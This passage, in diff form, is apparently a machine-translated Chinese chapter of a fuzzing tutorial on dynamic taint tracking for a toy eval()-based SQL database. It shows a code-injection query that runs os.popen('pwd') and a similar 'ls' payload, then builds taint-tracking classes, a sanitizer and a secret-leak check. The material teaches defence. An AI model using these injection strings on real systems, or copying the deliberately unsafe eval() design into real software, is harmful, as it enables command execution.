+        return "%d records were deleted" % len(deleted)
+
+```
+
+Here is an example. Let us first fill the database again with values:
+
+```py
+db = sample_db()
+db.sql('insert into inventory (year, kind, company, model) values (1997, "van", "Ford", "E350")')
+db.sql('select year from inventory')
+
+```
+
+```py
+[1997]
+
+```
+
+现在我们可以删除数据：
+
+```py
+db.sql('delete from inventory where company == "Ford"')
+
+```
+
+```py
+'1 records were deleted'
+
+```
+
+我们的数据库现在为空：
+
+```py
+db.sql('select year from inventory')
+
+```
+
+```py
+[]
+
+```
+
+### 所有方法一起
+
+这是如何使用我们的数据库。
+
+```py
+db = DB()
+
+```
+
+同样，我们首先在数据库中创建一个具有正确数据类型的表。
+
+```py
+inventory_def = {'year': int, 'kind': str, 'company': str, 'model': str}
+db.create_table('inventory', inventory_def)
+
+```
+
+这是使用我们的数据集更新表的简单便捷功能。
+
+```py
+def update_inventory(sqldb, vehicle):
+    inventory_def = sqldb.db['inventory'][0]
+    k, v = zip(*inventory_def.items())
+    val = [repr(cast(val)) for cast, val in zip(v, vehicle.split(','))]
+    sqldb.sql('insert into inventory (%s) values (%s)' % (','.join(k),
+                                                          ','.join(val)))
+
+```
+
+```py
+for V in VEHICLES:
+    update_inventory(db, V)
+
+```
+
+现在，我们的数据库包含与`INVENTORY`表下的`VEHICLES`相同的数据集。
+
+```py
+db.db
+
+```
+
+```py
+{'inventory': ({'year': int, 'kind': str, 'company': str, 'model': str},
+  [{'year': 1997, 'kind': 'van', 'company': 'Ford', 'model': 'E350'},
+   {'year': 2000, 'kind': 'car', 'company': 'Mercury', 'model': 'Cougar'},
+   {'year': 1999, 'kind': 'car', 'company': 'Chevy', 'model': 'Venture'}])}
+
+```
+
+这是一个示例选择语句。
+
+```py
+db.sql('select year,kind from inventory')
+
+```
+
+```py
+[(1997, 'van'), (2000, 'car'), (1999, 'car')]
+
+```
+
+```py
+db.sql("select company,model from inventory where kind == 'car'")
+
+```
+
+```py
+[('Mercury', 'Cougar'), ('Chevy', 'Venture')]
+
+```
+
+我们可以对其进行更新。
+
+```py
+db.sql("update inventory set year = 1998, company = 'Suzuki' where kind == 'van'")
+
+```
+
+```py
+'1 records were updated'
+
+```
+
+```py
+db.db
+
+```
+
+```py
+{'inventory': ({'year': int, 'kind': str, 'company': str, 'model': str},
+  [{'year': 1998, 'kind': 'van', 'company': 'Suzuki', 'model': 'E350'},
+   {'year': 2000, 'kind': 'car', 'company': 'Mercury', 'model': 'Cougar'},
+   {'year': 1999, 'kind': 'car', 'company': 'Chevy', 'model': 'Venture'}])}
+
+```
+
+它甚至可以即时进行数学运算！
+
+```py
+db.sql('select int(year)+10 from inventory')
+
+```
+
+```py
+[2008, 2010, 2009]
+
+```
+
+在我们的表中添加新行。
+
+```py
+db.sql("insert into inventory (year, kind, company, model) values (1, 'charriot', 'Rome', 'Quadriga')")
+
+```
+
+```py
+db.db
+
+```
+
+```py
+{'inventory': ({'year': int, 'kind': str, 'company': str, 'model': str},
+  [{'year': 1998, 'kind': 'van', 'company': 'Suzuki', 'model': 'E350'},
+   {'year': 2000, 'kind': 'car', 'company': 'Mercury', 'model': 'Cougar'},
+   {'year': 1999, 'kind': 'car', 'company': 'Chevy', 'model': 'Venture'},
+   {'year': 1, 'kind': 'charriot', 'company': 'Rome', 'model': 'Quadriga'}])}
+
+```
+
+然后我们将其删除。
+
+```py
+db.sql("delete from inventory where year < 1900")
+
+```
+
+```py
+'1 records were deleted'
+
+```
+
+### 模糊SQL
+
+为了验证一切正常，让我们开始测试。 首先，我们定义语法。
+
+```py
+import [string](https://docs.python.org/3/library/string.html)
+
+```
+
+```py
+EXPR_GRAMMAR = {
+    "<start>": ["<expr>"],
+    "<expr>": ["<bexpr>", "<aexpr>", "(<expr>)", "<term>"],
+    "<bexpr>": [
+        "<aexpr><lt><aexpr>",
+        "<aexpr><gt><aexpr>",
+        "<expr>==<expr>",
+        "<expr>!=<expr>",
+    ],
+    "<aexpr>": [
+        "<aexpr>+<aexpr>", "<aexpr>-<aexpr>", "<aexpr>*<aexpr>",
+        "<aexpr>/<aexpr>", "<word>(<exprs>)", "<expr>"
+    ],
+    "<exprs>": ["<expr>,<exprs>", "<expr>"],
+    "<lt>": ["<"],
+    "<gt>": [">"],
+    "<term>": ["<number>", "<word>"],
+    "<number>": ["<integer>.<integer>", "<integer>", "-<number>"],
+    "<integer>": ["<digit><integer>", "<digit>"],
+    "<word>": ["<word><letter>", "<word><digit>", "<letter>"],
+    "<digit>":
+    list(string.digits),
+    "<letter>":
+    list(string.ascii_letters + '_:.')
+}
+
+```
+
+```py
+INVENTORY_GRAMMAR = dict(
+    EXPR_GRAMMAR, **{
+        '<start>': ['<query>'],
+        '<query>': [
+            'select <exprs> from <table>',
+            'select <exprs> from <table> where <bexpr>',
+            'insert into <table> (<names>) values (<literals>)',
+            'update <table> set <assignments> where <bexpr>',
+            'delete from <table> where <bexpr>',
+        ],
+        '<table>': ['<word>'],
+        '<names>': ['<column>,<names>', '<column>'],
+        '<column>': ['<word>'],
+        '<literals>': ['<literal>', '<literal>,<literals>'],
+        '<literal>': ['<number>', "'<chars>'"],
+        '<assignments>': ['<kvp>,<assignments>', '<kvp>'],
+        '<kvp>': ['<column>=<value>'],
+        '<value>': ['<word>'],
+        '<chars>': ['<char>', '<char><chars>'],
+        '<char>':
+        [i for i in string.printable if i not in "<>'\"\t\n\r\x0b\x0c\x00"
+         ] + ['<lt>', '<gt>'],
+    })
+
+```
+
+从数据库的源代码可以看出，这些函数始终检查表名是否正确。 因此，我们修改语法以选择特定的表，以便它有更好的机会深入。 我们将在后面的部分中看到如何自动完成此操作。
+
+```py
+INVENTORY_GRAMMAR_F = dict(INVENTORY_GRAMMAR, **{'<table>': ['inventory']})
+
+```
+
+```py
+from [GrammarFuzzer](GrammarFuzzer.html) import GrammarFuzzer
+
+```
+
+```py
+gf = GrammarFuzzer(INVENTORY_GRAMMAR_F)
+for _ in range(10):
+    query = gf.fuzz()
+    print(repr(query))
+    try:
+        res = db.sql(query)
+        print(repr(res))
+    except SQLException as e:
+        print("> ", e)
+        pass
+    except:
+        traceback.print_exc()
+        break
+    print()
+
+```
+
+```py
+'select O6fo,-977091.1,-36.46 from inventory'
+>  Invalid WHERE ('(O6fo,-977091.1,-36.46)')
+
+'select g3 from inventory where -3.0!=V/g/b+Q*M*G'
+>  Invalid WHERE ('(-3.0!=V/g/b+Q*M*G)')
+
+'update inventory set z=a,x=F_,Q=K where p(M)<_*S'
+>  Column ('z') was not found
+
+'update inventory set R=L5pk where e*l*y-u>K+U(:)'
+>  Column ('R') was not found
+
+'select _/d*Q+H/d(k)<t+M-A+P from inventory'
+>  Invalid WHERE ('(_/d*Q+H/d(k)<t+M-A+P)')
+
+'select F5 from inventory'
+>  Invalid WHERE ('(F5)')
+
+'update inventory set jWh.=a6 where wcY(M)>IB7(i)'
+>  Column ('jWh.') was not found
+
+'update inventory set U=y where L(W<c,(U!=W))<V(((q)==m<F),O,l)'
+>  Column ('U') was not found
+
+'delete from inventory where M/b-O*h*E<H-W>e(Y)-P'
+>  Invalid WHERE ('M/b-O*h*E<H-W>e(Y)-P')
+
+'select ((kP(86)+b*S+J/Z/U+i(U))) from inventory'
+>  Invalid WHERE ('(((kP(86)+b*S+J/Z/U+i(U))))')
+
+```
+
+模糊测试似乎并未触发任何崩溃。 但是，崩溃是我们应该担心的唯一错误吗？
+
+## 邪恶的邪恶
+
+在我们的实现中，我们使用`eval()`来使用Python解释器评估表达式。 这使我们能够在SQL语句中释放Python表达式的全部功能。
+
+```py
+db.sql('select year from inventory where year < 2000')
+
+```
+
+```py
+[1998, 1999]
+
+```
+
+在上面的查询中，在每行的上下文中使用Python使用`expression_clause()`来评估`year < 2000`子句； 因此，`year < 2000`评估为`True`或`False`。
+
+对于`select` ed的表达式也是如此：
+
+```py
+db.sql('select year - 1900 if year < 2000 else year - 2000 from inventory')
+
+```
+
+```py
+[98, 0, 99]
+
+```
+
+这是可行的，因为`year - 1900 if year < 2000 else year - 2000`是有效的Python表达式。 （不过，这不是有效的SQL表达式。）
+
+上面的问题是Python表达式可以执行的操作没有*限制。 如果用户尝试以下操作怎么办？*
+
+```py
+db.sql('select __import__("os").popen("pwd").read() from inventory')
+
+```
+
+```py
+['/Users/zeller/Projects/fuzzingbook/notebooks\n',
+ '/Users/zeller/Projects/fuzzingbook/notebooks\n',
+ '/Users/zeller/Projects/fuzzingbook/notebooks\n']
+
+```
+
+上面的语句有效地从用户的文件系统中读取。 代替`os.popen("pwd").read()`，它可以执行任意的Python命令-访问数据，安装软件，运行后台进程。 这就是“ Python表达式的全部功能”再次出现在我们这里的地方。
+
+我们想要的是允许我们的*程序*充分利用其功能； 但是，不应委托*用户*（或任何第三方）这样做。 因此，我们需要区分从程序输入的（可信）*和从用户*输入的（不可信）*。*
+
+允许这种区分的一种方法是*动态污点分析*。 这个想法是要识别接受用户输入的功能作为*源*，*污染*通过它们输入的任何字符串，以及那些执行危险操作的功能，例如*接收器* 。 最后，我们祝福某些功能作为*污染消毒剂*。 这个想法是，来自源头的输入必须先经过消毒处理后再到达水槽。 这使我们可以使用比仅检查崩溃更强大的预言机。
+
+## 跟踪字符串污点
+
+一个人可以执行各种级别的污点跟踪。 最简单的方法是跟踪字符串片段起源于特定环境，并且没有经过清除异味的过程。 为此，我们只需要用`tstr`用环境标识符（*污点*）包装原始字符串，并在每个操作上产生`tstr`实例，从而产生另一个字符串片段。 属性`taint`包含一个标签，用于标识派生此实例的环境。
+
+### 污染字符串的类
+
+为了捕获信息流，我们需要一个新的字符串类。 这个想法是使用新的污染字符串类`tstr`作为原始`str`类的包装。 但是，`str`是*不变的*类。 因此，它在构造后不会调用其`__init__()`方法。 这意味着`str`的任何子类也不会被调用`__init__()`方法。 如果要调用初始化例程，则需要将[挂接到`__new__()`](https://docs.python.org/3/reference/datamodel.html#basic-customization) 中并返回我们自己类的实例。 我们将其与`__init__()`中的初始化代码结合在一起。
+
+```py
+class tstr(str):
+    def __new__(cls, value, *args, **kw):
+        return str.__new__(cls, value)
+
+    def __init__(self, value, taint=None, **kwargs):
+        self.taint = taint
+
+```
+
+```py
+class tstr(tstr):
+    def __repr__(self):
+        return tstr(str.__repr__(self), taint=self.taint)
+
+```
+
+```py
+class tstr(tstr):
+    def __str__(self):
+        return str.__str__(self)
+
+```
+
+例如，如果将`"hello"`包裹在`tstr`中，那么我们应该能够访问其污点：
+
+```py
+thello = tstr('hello', taint='LOW')
+
+```
+
+```py
+thello.taint
+
+```
+
+```py
+'LOW'
+
+```
+
+```py
+repr(thello).taint
+
+```
+
+```py
+'LOW'
+
+```
+
+默认情况下，当我们包装一个字符串时，它会被污染。 因此，我们还需要一种方法来清除字符串中的污点。 一种方法是简单地返回上面的`str`实例。 但是，有时可能希望从现有实例中删除污点。 这是通过`clear_taint()`完成的。 在`clear_taint()`期间，我们仅将污点设置为`None`。 该方法带有配对方法`has_taint()`，该方法检查当前是否起源于`tstr`实例。
+
+```py
+class tstr(tstr):
+    def clear_taint(self):
+        self.taint = None
+        return self
+
+    def has_taint(self):
+        return self.taint is not None
+
+```
+
+### 字符串运算符
+
+为了传播异味，我们必须扩展字符串函数，例如运算符。 我们可以一步一步完成，重载所有字符串方法和运算符。
+
+当我们从现有的污染字符串创建新字符串时，我们传播其污染。
+
+```py
+class tstr(tstr):
+    def create(self, s):
+        return tstr(s, taint=self.taint)
+
+```
+
+`make_str_wrapper()`函数围绕现有的字符串方法创建包装器，该方法将污点附加到该方法的结果上：
+
+```py
+def make_str_wrapper(fun):
+    def proxy(self, *args, **kwargs):
+        res = fun(self, *args, **kwargs)
+        return self.create(res)
+    return proxy
+
+```
+
+我们对所有返回字符串的字符串方法执行此操作：
+
+```py
+for name in ['__format__', '__mod__', '__rmod__', '__getitem__', '__add__', '__mul__', '__rmul__',
+             'capitalize', 'casefold', 'center', 'encode',
+             'expandtabs', 'format', 'format_map', 'join', 'ljust', 'lower', 'lstrip', 'replace',
+             'rjust', 'rstrip', 'strip', 'swapcase', 'title', 'translate', 'upper']:
+    fun = getattr(str, name)
+    setattr(tstr, name, make_str_wrapper(fun))
+
+```
+
+一个丢失的运算符是`+`，左侧是常规字符串，右侧是污染字符串。 Python支持`__radd__()`方法，如果在加法项的右侧使用了关联的对象，则会调用该方法。
+
+```py
+class tstr(tstr):
+    def __radd__(self, s):
+        return self.create(s + str(self))
+
+```
+
+至此，我们已经完成。 让我们创建一个带有污点`LOW`的字符串`thello`。
+
+```py
+thello = tstr('hello', taint='LOW')
+
+```
+
+现在，任何子字符串也将被污染：
+
+```py
+thello[0].taint
+
+```
+
+```py
+'LOW'
+
+```
+
+```py
+thello[1:3].taint
+
+```
+
+```py
+'LOW'
+
+```
+
+字符串添加将返回带有污点的`tstr`对象：
+
+```py
+(tstr('foo', taint='HIGH') + 'bar').taint
+
+```
+
+```py
+'HIGH'
+
+```
+
+我们的`__radd__()`方法可确保如果`tstr`出现在字符串添加项的右侧，该方法也可以使用：
+
+```py
+('foo' + tstr('bar', taint='HIGH')).taint
+
+```
+
+```py
+'HIGH'
+
+```
+
+```py
+thello += ', world'
+
+```
+
+```py
+thello.taint
+
+```
+
+```py
+'LOW'
+
+```
+
+其他运算符（例如乘法）也可以工作：
+
+```py
+(thello * 5).taint
+
+```
+
+```py
+'LOW'
+
+```
+
+```py
+('hw %s' % thello).taint
+
+```
+
+```py
+'LOW'
+
+```
+
+```py
+(tstr('hello %s', taint='HIGH') % 'world').taint
+
+```
+
+```py
+'HIGH'
+
+```
+
+```py
+import [string](https://docs.python.org/3/library/string.html)
+
+```
+
+## 跟踪不受信任的输入
+
+那么，污染的琴弦怎么办？ 我们重新考虑`DB`示例。 我们定义了一个“更好的” `TrustedDB`，它只接受以`"TRUSTED"`污染的字符串。
+
+```py
+class TrustedDB(DB):
+    def sql(self, s):
+        assert isinstance(s, tstr), "Need a tainted string"
+        assert s.taint == 'TRUSTED', "Need a string with trusted taint"
+        return super().sql(s)
+
+```
+
+传递具有“未知”（即不存在）信任级别的字符串将导致`TrustedDB`失败：
+
+```py
+bdb = TrustedDB(db.db)
+
+```
+
+```py
+from [ExpectError](ExpectError.html) import ExpectError
+
+```
+
+```py
+with ExpectError():
+    bdb.sql("select year from INVENTORY")
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-79-65a521f9999f>", line 2, in <module>
+    bdb.sql("select year from INVENTORY")
+  File "<ipython-input-76-53a654b6cc10>", line 3, in sql
+    assert isinstance(s, tstr), "Need a tainted string"
+AssertionError: Need a tainted string (expected)
+
+```
+
+另外，任何用户输入最初都将被标记为`"UNTRUSTED"`作为污点。 如果我们将不可信的字符串放入我们更好的计算器中，它也会失败：
+
+```py
+bad_user_input = tstr('__import__("os").popen("ls").read()', taint='UNTRUSTED')
+with ExpectError():
+    bdb.sql(bad_user_input)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-80-82c5b2d628ed>", line 3, in <module>
+    bdb.sql(bad_user_input)
+  File "<ipython-input-76-53a654b6cc10>", line 4, in sql
+    assert s.taint == 'TRUSTED', "Need a string with trusted taint"
+AssertionError: Need a string with trusted taint (expected)
+
+```
+
+因此，在计算的某个地方，我们必须将“不可信”输入转换为“可信”字符串。 此过程称为*消毒*。 就我们的目的而言，一个简单的清除功能可以确保输入仅包含很少的允许字符（不包括字母或引号）； 如果是这种情况，那么输入将获得新的`"TRUSTED"`异味。 如果不是，我们将字符串转换为（不受信任的）空字符串； 其他选择是引发错误或转义或删除“不可信”字符。
+
+```py
+import [re](https://docs.python.org/3/library/re.html)
+
+```
+
+```py
+def sanitize(user_input):
+    assert isinstance(user_input, tstr)
+    if re.match(
+            r'^select +[-a-zA-Z0-9_, ()]+ from +[-a-zA-Z0-9_, ()]+$', user_input):
+        return tstr(user_input, taint='TRUSTED')
+    else:
+        return tstr('', taint='UNTRUSTED')
+
+```
+
+```py
+good_user_input = tstr("select year,model from inventory", taint='UNTRUSTED')
+sanitized_input = sanitize(good_user_input)
+sanitized_input
+
+```
+
+```py
+'select year,model from inventory'
+
+```
+
+```py
+sanitized_input.taint
+
+```
+
+```py
+'TRUSTED'
+
+```
+
+```py
+bdb.sql(sanitized_input)
+
+```
+
+```py
+[(1998, 'E350'), (2000, 'Cougar'), (1999, 'Venture')]
+
+```
+
+现在让我们尝试我们不受信任的输入：
+
+```py
+sanitized_input = sanitize(bad_user_input)
+sanitized_input
+
+```
+
+```py
+''
+
+```
+
+```py
+sanitized_input.taint
+
+```
+
+```py
+'UNTRUSTED'
+
+```
+
+```py
+with ExpectError():
+    bdb.sql(sanitized_input)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-88-e59f9e5c9d30>", line 2, in <module>
+    bdb.sql(sanitized_input)
+  File "<ipython-input-76-53a654b6cc10>", line 4, in sql
+    assert s.taint == 'TRUSTED', "Need a string with trusted taint"
+AssertionError: Need a string with trusted taint (expected)
+
+```
+
+以类似的方式，我们可以防止在[中有关Web模糊测试](WebFuzzer.html)的章节中讨论的SQL和代码注入。
+
+## 污染意识模糊
+
+我们还可以使用污点*将模糊测试直接引导到可能会产生危险输入的语法规则。* 这里的想法是识别由我们的模糊器生成的，导致不可信执行的输入。 首先，我们定义当污染值达到危险操作时将引发的异常。
+
+```py
+class Tainted(Exception):
+    def __init__(self, v):
+        self.v = v
+
+    def __str__(self):
+        return 'Tainted[%s]' % self.v
+
+```
+
+### TaintedDB
+
+接下来，由于`my_eval()`是`DB`类中最危险的操作，因此我们定义了一个新类`TaintedDB`，该类将覆盖`my_eval()`以在不信任字符串到达​​此部分时引发异常。
+
+```py
+class TaintedDB(DB):
+    def my_eval(self, statement, g, l):
+        if statement.taint != 'TRUSTED':
+            raise Tainted(statement)
+        try:
+            return eval(statement, g, l)
+        except:
+            raise SQLException('Invalid SQL (%s)' % repr(statement))
+
+```
+
+我们初始化一个`TaintedDB`的实例
+
+```py
+tdb = TaintedDB()
+
+```
+
+```py
+tdb.db = db.db
+
+```
+
+然后我们开始模糊测试。
+
+```py
+import [traceback](https://docs.python.org/3/library/traceback.html)
+
+```
+
+```py
+for _ in range(10):
+    query = gf.fuzz()
+    print(repr(query))
+    try:
+        res = tdb.sql(tstr(query, taint='UNTRUSTED'))
+        print(repr(res))
+    except SQLException as e:
+        pass
+    except Tainted as e:
+        print("> ", e)
+    except:
+        traceback.print_exc()
+        break
+    print()
+
+```
+
+```py
+'delete from inventory where y/u-l+f/y<Y(c)/A-H*q'
+>  Tainted[y/u-l+f/y<Y(c)/A-H*q]
+
+"insert into inventory (G,Wmp,sl3hku3) values ('<','?')"
+
+"insert into inventory (d0) values (',_G')"
+
+'select P*Q-w/x from inventory where X<j==:==j*r-f'
+>  Tainted[(X<j==:==j*r-f)]
+
+'select a>F*i from inventory where Q/I-_+P*j>.'
+>  Tainted[(Q/I-_+P*j>.)]
+
+'select (V-i<T/g) from inventory where T/r/G<FK(m)/(i)'
+>  Tainted[(T/r/G<FK(m)/(i))]
+
+'select (((i))),_(S,_)/L-k<H(Sv,R,n,W,Y) from inventory'
+>  Tainted[((((i))),_(S,_)/L-k<H(Sv,R,n,W,Y))]
+
+'select (N==c*U/P/y),i-e/n*y,T!=w,u from inventory'
+>  Tainted[((N==c*U/P/y),i-e/n*y,T!=w,u)]
+
+'update inventory set _=B,n=v where o-p*k-J>T'
+
+'select s from inventory where w4g4<.m(_)/_>t'
+>  Tainted[(w4g4<.m(_)/_>t)]
+
+```
+
+可以看到，现有表上的`insert`，`update`，`select`和`delete`语句导致异味异常。 现在，我们可以专注于这些特定种类的输入。 但是，这不是我们唯一能做的。 在后面的部分中，我们将看到如何识别使用字符起源达到不良执行效果的输入的特定部分。 但是在此之前，我们将探讨污渍的其他用途。
+
+## 防止隐私泄漏
+
+使用污点，我们还可以确保秘密信息不会泄漏出去。 我们可以为信息不得泄漏的字符串分配特殊的污点`"SECRET"`：
+
+```py
+secrets = tstr('<Plenty of secret keys>', taint='SECRET')
+
+```
+
+访问`secrets`的任何子字符串都会传播异味：
+
+```py
+secrets[1:3].taint
+
+```
+
+```py
+'SECRET'
+
+```
+
+考虑[中](Fuzzer.html)[的*心跳*安全性泄漏，在该章中，服务器不仅会意外地答复发送给它的用户输入，而且还会意外地答复秘密存储器。 如果答复仅由用户输入组成，则没有与之相关的异味：](Fuzzer.html)
+
+```py
+user_input = "hello"
+reply = user_input
+
+```
+
+```py
+isinstance(reply, tstr)
+
+```
+
+```py
+False
+
+```
+
+但是，如果答复包含机密的任何部分，则该答复将被污染：
+
+```py
+reply = user_input + secrets[0:5]
+
+```
+
+```py
+reply
+
+```
+
+```py
+'hello<Plen'
+
+```
+
+```py
+reply.taint
+
+```
+
+```py
+'SECRET'
+
+```
+
+服务器的输出功能现在将确保发送回的数据不包含任何秘密信息：
+
+```py
+def send_back(s):
+    assert not isinstance(s, tstr) and not s.taint == 'SECRET'
+    ...
+
+```
+
+```py
+with ExpectError():
+    send_back(reply)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-103-e02d8e55c3ba>", line 2, in <module>
+    send_back(reply)
+  File "<ipython-input-102-a105f7cd1cab>", line 2, in send_back
+    assert not isinstance(s, tstr) and not s.taint == 'SECRET'
+AssertionError (expected)
+
+```
+
+### 跟踪字符来源
+
+我们的`tstr`解决方案可帮助您识别信息泄漏–但这绝不是完整的。 如果我们实际上从[的](Fuzzer.html)[一章中采用`heartbeat()`实现，我们将看到*任何*答复都标记为`SECRET`-甚至那些不访问秘密存储器的人：](Fuzzer.html)
+
+```py
+from [Fuzzer](Fuzzer.html) import heartbeat
+
+```
+
+```py
+reply = heartbeat('hello', 5, memory=secrets)
+
+```
+
+```py
+reply.taint
+
+```
+
+```py
+'SECRET'
+
+```
+
+为什么是这样？ 如果我们研究`heartbeat()`的实现，我们将看到它首先从（非秘密）答复和（秘密）内存中构建了一个长字符串`memory`，然后从`memory`返回第一个字符。
+
+```py
+# Store reply in memory
+    memory = reply + memory[len(reply):]
+
+```
+
+此时，整个存储器仍被污染为`SECRET`，*，包括*来自`reply`的非秘密部分。
+
+我们可以通过将`reply`标记为`PUBLIC`来解决该问题，但是，此异味将与`memory`的`SECRET`标签冲突。 如果我们用两个不同的污染字符串组成一个字符串会怎样？
+
+```py
+thilo = tstr("High", taint='HIGH') + tstr("Low", taint='LOW')
+
+```
+
+事实证明，在这种情况下，`__add__()`方法优先于`__radd__()`方法，这意味着右边的`"Low"`字符串被视为常规（无污染）字符串。
+
+```py
+thilo
+
+```
+
+```py
+'HighLow'
+
+```
+
+```py
+thilo.taint
+
+```
+
+```py
+'HIGH'
+
+```
+
+我们可以通过特殊处理来设置`__add__()`和其他方法来处理冲突的污点。 但是，解决此冲突的方式将高度依赖于*应用程序*：
+
+*   如果我们使用污点表示*隐私级别*，则`SECRET`隐私应优先于`PUBLIC`隐私。 因此，`SECRET`污染的字符串和`PUBLIC`污染的字符串的任何组合都应具有`SECRET`污染。
+
+*   如果我们使用污点表示信息的*来源*，则`UNTRUSTED`来源应优先于`TRUSTED`来源。 因此，`UNTRUSTED`污染的字符串和`TRUSTED`污染的字符串的任何组合都应具有`UNTRUSTED`污染。
+
+当然，可以实施这种冲突解决方案。 但是即使这样，它们也不会帮助我们在`heartbeat()`示例中将机密与非机密输出数据区分开。
+
+### 跟踪单个字符
+
+幸运的是，有一种更好，更通用的方法可以解决上述问题。 组成异味琴弦的关键是不仅要为琴弦分配异味，还要为信息的每一位实际赋味-在我们的例子中是字符。 如果每个角色都有一个污点，则新的字符组成将仅继承每个字符的污点*。 为此，我们引入了名为*来源*的第二位信息。*
+
+可以通过将每个实例作为单独的实例（在动态起源研究中称为*颜色*）来区分各种不受信任的来源。 您将在[语法挖掘](GrammarMiner.html)的章节中看到此技术的一个实例。
+
+在本节中，我们携带*字符级别*的起源。 也就是说，给定一个片段是由原始原始字符串的一部分产生的，则将能够分辨出该片段来自输入字符串的哪一部分。 本质上，来自原始来源的每个输入字符索引都有其自己的颜色。
+
+更复杂的来源（例如*位图来源*）是可能的，其中单个字符可能来自多个来源的字符索引（例如*校验和*对字符串的操作）。 我们在本章中不考虑这些。
+
+### 跟踪字符来源的类
+
+让我们介绍一个类`ostr`，它像`tstr`一样，为每个字符串带有污点，另外，对于每个指示其来源的字符，都带有*起源*。 它是特定范围内的连续数字（默认情况下，从零开始），指示其在特定原点内的*位置*。
+
+```py
+class ostr(str):
+    DEFAULT_ORIGIN = 0
+
+    def __new__(cls, value, *args, **kw):
+        return str.__new__(cls, value)
+
+    def __init__(self, value, taint=None, origin=None, **kwargs):
+        self.taint = taint
+
+        if origin is None:
+            origin = ostr.DEFAULT_ORIGIN
+        if isinstance(origin, int):
+            self.origin = list(range(origin, origin + len(self)))
+        else:
+            self.origin = origin
+        assert len(self.origin) == len(self)
+
+```
+
+```py
+class ostr(ostr):
+    def create(self, s):
+        return ostr(s, taint=self.taint, origin=self.origin)
+
+```
+
+```py
+class ostr(ostr):
+    UNKNOWN_ORIGIN = -1
+
+    def __repr__(self):
+        # handle escaped chars
+        origin = [ostr.UNKNOWN_ORIGIN]
+        for s, o in zip(str(self), self.origin):
+            origin.extend([o] * (len(repr(s)) - 2))
+        origin.append(ostr.UNKNOWN_ORIGIN)
+        return ostr(str.__repr__(self), taint=self.taint, origin=origin)
+
+```
+
+```py
+class ostr(ostr):
+    def __str__(self):
+        return str.__str__(self)
+
+```
+
+默认情况下，字符原点以`0`开头：
+
+```py
+thello = ostr('hello')
+assert thello.origin == [0, 1, 2, 3, 4]
+
+```
+
+我们还可以如下指定起始原点-`6..10`
+
+```py
+tworld = ostr('world', origin=6)
+assert tworld.origin == [6, 7, 8, 9, 10]
+
+```
+
+```py
+a = ostr("hello\tworld")
+
+```
+
+```py
+repr(a).origin
+
+```
+
+```py
+[-1, 0, 1, 2, 3, 4, 5, 5, 6, 7, 8, 9, 10, -1]
+
+```
+
+`str()`返回一个没有原点或异味信息的`str`实例：
+
+```py
+assert type(str(thello)) == str
+
+```
+
+但是`repr()`保留原始字符串的来源信息：
+
+```py
+repr(thello)
+
+```
+
+```py
+"'hello'"
+
+```
+
+```py
+repr(thello).origin
+
+```
+
+```py
+[-1, 0, 1, 2, 3, 4, -1]
+
+```
+
+与污点一样，我们可以清除原点并检查是否存在原点：
+
+```py
+class ostr(ostr):
+    def clear_taint(self):
+        self.taint = None
+        return self
+
+    def has_taint(self):
+        return self.taint is not None
+
+```
+
+```py
+class ostr(ostr):
+    def clear_origin(self):
+        self.origin = [self.UNKNOWN_ORIGIN] * len(self)
+        return self
+
+    def has_origin(self):
+        return any(origin != self.UNKNOWN_ORIGIN for origin in self.origin)
+
+```
+
+```py
+thello = ostr('Hello')
+assert thello.has_origin()
+
+```
+
+```py
+thello.clear_origin()
+assert not thello.has_origin()
+
+```
+
+在本节的其余部分，我们将重新实现各种字符串方法，以便它们也可以跟踪起源。 如果这对您来说太麻烦了，请右跳[到下一部分](#Checking-Origins)，其中提供了许多用法示例。
+
+#### 创建
+
+我们需要创建包装在`ostr`对象中的新子字符串。 但是，我们还希望允许我们的子类创建自己的实例。 因此，我们再次提供了一个`create()`方法，该方法产生一个新的`ostr`实例。
+
+```py
+class ostr(ostr):
+    def create(self, res, origin=None):
+        return ostr(res, taint=self.taint, origin=origin)
+
+```
+
+```py
+thello = ostr('hello', taint='HIGH')
+tworld = thello.create('world', origin=6)
+
+```
+
+```py
+tworld.origin
+
+```
+
+```py
+[6, 7, 8, 9, 10]
+
+```
+
+```py
+tworld.taint
+
+```
+
+```py
+'HIGH'
+
+```
+
+```py
+assert (thello.origin, tworld.origin) == (
+    [0, 1, 2, 3, 4], [6, 7, 8, 9, 10])
+
+```
+
+#### 索引
+
+在Python中，通过`__getitem__()`提供索引。 在正整数上建立索引非常简单。 但是，它还有两个额外的皱纹。 首先是，如果索引为负，则从字符串的最后一个字符之后的末尾开始计数许多字符。 也就是说，最后一个字符的索引为`-1`
+
+```py
+class ostr(ostr):
+    def __getitem__(self, key):
+        res = super().__getitem__(key)
+        if isinstance(key, int):
+            key = len(self) + key if key < 0 else key
+            return self.create(res, [self.origin[key]])
+        elif isinstance(key, slice):
+            return self.create(res, self.origin[key])
+        else:
+            assert False
+
+```
+
+```py
+hello = ostr('hello', taint='HIGH')
+assert (hello[0], hello[-1]) == ('h', 'o')
+hello[0].taint
+
+```
+
+```py
+'HIGH'
+
+```
+
+另一个皱纹是`__getitem__()`可以接受切片。 接下来我们讨论这个。
+
+#### 切片
+
+Python `slice`运算符`[n:m]`依赖于对象为`iterator`。 因此，我们定义`__iter__()`方法，该方法返回自定义`iterator`。
+
+```py
+class ostr(ostr):
+    def __iter__(self):
+        return ostr_iterator(self)
+
+```
+
+`__iter__()`方法需要支持的`iterator`对象。 `iterator`用于保存当前迭代的状态，方法是保留对原始`ostr`的引用以及当前迭代的索引`_str_idx`。
+
+```py
+class ostr_iterator():
+    def __init__(self, ostr):
+        self._ostr = ostr
+        self._str_idx = 0
+
+    def __next__(self):
+        if self._str_idx == len(self._ostr):
+            raise StopIteration
+        # calls ostr getitem should be ostr
+        c = self._ostr[self._str_idx]
+        assert isinstance(c, ostr)
+        self._str_idx += 1
+        return c
+
+```
+
+将所有这些放在一起：
+
+```py
+thw = ostr('hello world', taint='HIGH')
+thw[0:5]
+
+```
+
+```py
+'hello'
+
+```
+
+```py
+assert thw[0:5].has_taint()
+assert thw[0:5].has_origin()
+
+```
+
+```py
+thw[0:5].taint
+
+```
+
+```py
+'HIGH'
+
+```
+
+```py
+thw[0:5].origin
+
+```
+
+```py
+[0, 1, 2, 3, 4]
+
+```
+
+#### 分割
+
+```py
+def make_split_wrapper(fun):
+    def proxy(self, *args, **kwargs):
